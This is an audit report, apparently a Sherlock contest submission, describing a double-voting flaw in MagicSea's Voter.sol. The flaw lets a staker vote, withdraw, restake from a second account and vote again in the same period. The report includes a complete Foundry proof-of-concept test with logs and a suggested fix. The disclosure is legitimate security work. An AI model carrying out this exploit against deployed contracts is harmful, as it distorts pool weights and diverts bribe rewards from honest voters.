Furry Viridian Copperhead

High

# Users can double vote

## Summary
In the ``Voter.sol`` contract users can vote for a specific pool and increase the weight of that pool compared to other pools. Protocols that want users to vote for their pool can offer bribes to users in exchange for their votes for a specific pool, by adding a ``BribeRewarder.sol`` contract instance for a specific pool and voting period.  Users can vote by calling the [vote()](https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/Voter.sol#L153-L219) function. There are a couple of requirements that a user must fulfill in order to vote:

```solidity
    function vote(uint256 tokenId, address[] calldata pools, uint256[] calldata deltaAmounts) external {
        if (pools.length != deltaAmounts.length) revert IVoter__InvalidLength();

        // check voting started
        if (!_votingStarted()) revert IVoter_VotingPeriodNotStarted();
        if (_votingEnded()) revert IVoter_VotingPeriodEnded();

        // check ownership of tokenId
        if (_mlumStaking.ownerOf(tokenId) != msg.sender) {
            revert IVoter__NotOwner();
        }

        uint256 currentPeriodId = _currentVotingPeriodId;
        // check if alreay voted
        if (_hasVotedInPeriod[currentPeriodId][tokenId]) {
            revert IVoter__AlreadyVoted();
        }

        // check if _minimumLockTime >= initialLockDuration and it is locked
        if (_mlumStaking.getStakingPosition(tokenId).initialLockDuration < _minimumLockTime) {
            revert IVoter__InsufficientLockTime();
        }
        if (_mlumStaking.getStakingPosition(tokenId).lockDuration < _periodDuration) {
            revert IVoter__InsufficientLockTime();
        }

        ...
    }
```
As can be seen from the above code snippet, a stake position **initialLockDuration** which represents the lock duration on creation and the **lockDuration** which represents the lock duration in seconds(in case the lock duration has been updated) are checked. However it is not checked how much time is left until a position can be unlocked. If a user can withdraw his **MLUM** staked tokens during an active voting period, he can first vote for a specific pool with the voting power of his current position, then withdraw the **MLUM** tokens he has staked for that position, transfer them to another account, create another staking position, and vote again  in the same voting period, thus voting with much more voting power that he is supposed to and influencing the weight of the pools. He can also receive more rewards from the ``BribeRewarder.sol`` contract instance attached to a specific pool. 
 
## Vulnerability Detail
[Gist](https://gist.github.com/AtanasDimulski/bc8b548900acaabaf8ccfd373a783679)

After following the steps in the above mentioned [gist](https://gist.github.com/AtanasDimulski/bc8b548900acaabaf8ccfd373a783679) add the following test to the ``AuditorTests.t.sol`` file:
```solidity
    function test_DoubleVoting() public {
        uint256 lockDurationAlice = 60 * 60 * 24 * 30 * 3; // 3 months with 30 days each
        mintMlumPosition(alice, 1e18, lockDurationAlice);
        uint256 lockDurationTom = 100 days;
        mintMlumPosition(tom, 1e18, lockDurationTom);

        ///@notice deposit reward tokens to the MlumStaking contract, ammount is not important for this test
        rewardToken.mint(address(mlumStaking), 10_000e6);
        ///@notice skip 90 days + 1 second, assume no voting periods happends during this period, this is not important for this test
        skip(lockDurationAlice + 1);

        vm.startPrank(bob);
        BribeRewarder rewarder;
        rewarder = BribeRewarder(payable(address(rewarderFactory.createBribeRewarder(bribeRewardToken, pool))));
        bribeRewardToken.mint(bob, 10_000e6);
        bribeRewardToken.approve(address(rewarder), type(uint256).max);
        rewarder.fundAndBribe(1, 1, 10_000e6);
        vm.stopPrank();

        vm.startPrank(owner);
        voter.startNewVotingPeriod();
        vm.stopPrank();

        vm.startPrank(alice);
        IMlumStaking.StakingPosition memory mlumPositionAlice;
        mlumPositionAlice = mlumStaking.getStakingPosition(1);
        address[] memory pools = new address[](1);
        uint256[] memory deltaAmounts = new uint256[](1);
        pools[0] = pool;
        deltaAmounts[0] = mlumPositionAlice.amountWithMultiplier;
        voter.vote(1, pools, deltaAmounts);
        console2.log("Alice amountWithMultiplier: ", mlumPositionAlice.amountWithMultiplier);
        vm.stopPrank();

        vm.startPrank(tom);
        IMlumStaking.StakingPosition memory mlumPositionTom;
        mlumPositionTom = mlumStaking.getStakingPosition(2);
        uint256[] memory deltaAmountsT = new uint256[](1);
        deltaAmountsT[0] = mlumPositionTom.amountWithMultiplier;
        voter.vote(2, pools, deltaAmountsT);
        console2.log("Tom amountWithMultiplier: ", mlumPositionTom.amountWithMultiplier);
        vm.stopPrank();

        vm.startPrank(alice);
        mlumStaking.withdrawFromPosition(1, mlumPositionAlice.amount - 1);
        stakingToken.transfer(attacker, stakingToken.balanceOf(alice));
        vm.stopPrank();

        uint256 votesBeforeDoubleVoting = voter.getVotesPerPeriod(1, pool);
        console2.log("Votes before double voting: ", votesBeforeDoubleVoting);

        vm.startPrank(attacker);
        stakingToken.approve(address(mlumStaking), type(uint256).max);
        mlumStaking.createPosition(stakingToken.balanceOf(attacker), lockDurationAlice);
        IMlumStaking.StakingPosition memory mlumPositionAttacker;
        mlumPositionAttacker = mlumStaking.getStakingPosition(3);
        uint256[] memory deltaAmountsA = new uint256[](1);
        deltaAmountsA[0] = mlumPositionAttacker.amountWithMultiplier;
        voter.vote(3, pools, deltaAmountsA);
        uint256 votesAfterDoubleVoting = voter.getVotesPerPeriod(1, pool);
        console2.log("Votes after double voting: ", votesAfterDoubleVoting);
        console2.log("Additional votes given to a pool due to double voting: ", votesAfterDoubleVoting - votesBeforeDoubleVoting);
        vm.stopPrank();

        ///@notice we skip after the end of the voting period so the full bribe rewards can be withdrawn 
        skip(2 weeks + 1);

        console2.log("Alice balance of bribeRewards token before withdraw: ", bribeRewardToken.balanceOf(alice));
        console2.log("Tom balance of bribeRewards token before withdraw: ", bribeRewardToken.balanceOf(tom));
        vm.startPrank(alice);
        rewarder.claim(1);
        vm.stopPrank();

        vm.startPrank(tom);
        rewarder.claim(2);
        vm.stopPrank();

        vm.startPrank(attacker);
        rewarder.claim(3);
        bribeRewardToken.transfer(alice, bribeRewardToken.balanceOf(attacker));
        vm.stopPrank();

        console2.log("Alice rewards in the bribeRewards token: ", bribeRewardToken.balanceOf(alice));
        console2.log("Tom rewards in the bribeRewards token: ", bribeRewardToken.balanceOf(tom));
    }
```

```solidity
Logs:
  Alice amountWithMultiplier:  1493100000000000000
  Tom amountWithMultiplier:  1547900000000000000
  Votes before double voting:  3041000000000000000
  Votes after double voting:  4534099999999999998
  Additional votes given to a pool due to double voting:  1493099999999999998
  Additional votes given to a pool due to double voting:  1493099999999999998
  Alice balance of bribeRewards token before withdraw:  0
  Tom balance of bribeRewards token before withdraw:  0
  Tom balance of bribeRewards token before withdraw:  0
  Alice rewards in the bribeRewards token:  6585936098
  Tom rewards in the bribeRewards token:  3413827100
```

As can be seen from the above logs, although Alice initially posses only **≈1.4931e18** voting power, she will be able to vote with an additional **≈1.493e18**, almost doubling her votes(note that the voting power of the second position created by a account controlled by Alice, depends on the time the staking position is locked for). As can be seen from the above logs is that Alice receives much bigger part of the rewards, despite the fact that she initially holds less voting power than Tom.

To run the test use: ``forge test -vvv --mt test_DoubleVoting``

## Impact
Users can double vote in certain conditions, and depending on the voting power of a certain user he can influence the weight proportions for a specific pool. For example a user holding 5% of all the voting power will be able to vote with 10%. Also users that double vote can receive much more rewards form the ``BribeRewarder.sol`` contract instance attached to a specific pool. 

## Code Snippet
https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/Voter.sol#L153-L219

## Tool used
Manual Review & Foundry

## Recommendation
Consider adding a functionality which checks how much time is left for a position before it can be unlocked. And if it is less than the voting period duration, don't allow for the owner of that position to vote in the current voting period. 